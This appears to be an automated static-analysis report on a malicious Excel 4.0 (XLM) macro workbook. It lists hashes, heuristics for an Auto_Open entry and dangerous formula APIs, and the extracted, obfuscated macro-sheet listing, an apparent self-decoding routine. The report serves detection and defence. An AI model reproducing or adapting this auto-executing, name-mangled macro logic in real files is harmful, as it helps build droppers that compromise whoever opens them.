Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 747532579b39e0af…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:42:46 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 38f97d398f8412cdea8635675093461c SHA-1: 0d3477ceb6fc5512a22274b0fb76697396580fec SHA-256: 747532579b39e0af0b65a538b489848a0bb105936f4587037dff69e711aa54c1
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6603 bytes
SHA-256: 9749f351c1a136d4688de5600327aa92b96bf1b1fb72925bca836667cabdfcc6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 40 identifiers look randomly generated (e.g. 'FqlZqPUqEeU') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  MTfzbgkQ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B178 
' 0018     22 LABEL : Cell Value, String Constant - Bdqqslu len=0 
' 0018     23 LABEL : Cell Value, String Constant - BoDClGkh len=0 
' 0018     23 LABEL : Cell Value, String Constant - cvbYeBzc len=0 
' 0018     24 LABEL : Cell Value, String Constant - FHHstxTcq len=0 
' 0018     26 LABEL : Cell Value, String Constant - FqlZqPUqEeU len=0 
' 0018     24 LABEL : Cell Value, String Constant - JyTHluwWz len=0 
' 0018     25 LABEL : Cell Value, String Constant - lpwWodOGXd len=0 
' 0018     25 LABEL : Cell Value, String Constant - LQfyWNkByx len=0 
' 0018     23 LABEL : Cell Value, String Constant - lWyJkWoc len=0 
' 0018     23 LABEL : Cell Value, String Constant - nYSDUeZt len=0 
' 0018     24 LABEL : Cell Value, String Constant - oeQZwGSfJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - OtxinJOhL len=0 
' 0018     20 LABEL : Cell Value, String Constant - OVidU len=0 
' 0018     22 LABEL : Cell Value, String Constant - rYLxVOw len=0 
' 0018     24 LABEL : Cell Value, String Constant - UTPjRffzR len=0 
' 0018     21 LABEL : Cell Value, String Constant - wkpfTQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - WzVwCzPhidp len=0 
' 0018     24 LABEL : Cell Value, String Constant - xEpLlybFJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - yUPMBn len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZehhILCNxa len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  MTfzbgkQ,B89,"SET.NAME("lpwWodOGXd",VALUE("0"))",""
'  MTfzbgkQ,B92,"SET.NAME("rYLxVOw",lpwWodOGXd)",""
'  MTfzbgkQ,B94,"SET.NAME("wkpfTQ",lpwWodOGXd)",""
'  MTfzbgkQ,B97,"SET.NAME("LQfyWNkByx",COUNTA(nYSDUeZt))",""
'  MTfzbgkQ,B101,"SET.NAME("cvbYeBzc",COUNTA(lWyJkWoc))",""
'  MTfzbgkQ,B104,[],""
'  MTfzbgkQ,B109,"SET.NAME("xEpLlybFJ","")",""
'  MTfzbgkQ,B114,"rYLxVOw",""
'  MTfzbgkQ,B116,"SET.NAME("yUPMBn",HLOOKUP("*",nYSDUeZt,rYLxVOw,FALSE))",""
'  MTfzbgkQ,B121,"oeQZwGSfJ",""
'  MTfzbgkQ,B124,"SET.NAME("UTPjRffzR",lpwWodOGXd)",""
'  MTfzbgkQ,B129,[],""
'  MTfzbgkQ,B133,"UTPjRffzR",""
'  MTfzbgkQ,B138,"FqlZqPUqEeU",""
'  MTfzbgkQ,B142,"OtxinJOhL",""
'  MTfzbgkQ,B144,"BoDClGkh",""
'  MTfzbgkQ,B148,"SET.NAME("OVidU",VALUE(HLOOKUP("*",lWyJkWoc,BoDClGkh,FALSE)))",""
'  MTfzbgkQ,B150,"FHHstxTcq",""
'  MTfzbgkQ,B152,"xEpLlybFJ",""
'  MTfzbgkQ,B155,"wkpfTQ",""
'  MTfzbgkQ,B159,NEXT(),""
'  MTfzbgkQ,B162,"Bdqqslu",""
'  MTfzbgkQ,B165,"SET.NAME("f",INT(T(FORMULA(T(xEpLlybFJ)&"",""&T(Bdqqslu)))))",""
'  MTfzbgkQ,B169,"JyTHluwWz",""
'  MTfzbgkQ,B173,NEXT(),""
'  MTfzbgkQ,B175,RETURN(),""
'  MTfzbgkQ,B203,"SET.NAME("WzVwCzPhidp",B89)",""
'  MTfzbgkQ,B207,"nYSDUeZt",""
'  MTfzbgkQ,B209,"SET.NAME("lWyJkWoc",R57C14)",""
'  MTfzbgkQ,B214,"SET.NAME("JyTHluwWz",222)",""
'  MTfzbgkQ,B217,"SET.NAME("ZehhILCNxa",2)",""
'  MTfzbgkQ,B221,WzVwCzPhidp(),""
'  MTfzbgkQ,B222,HALT(),""

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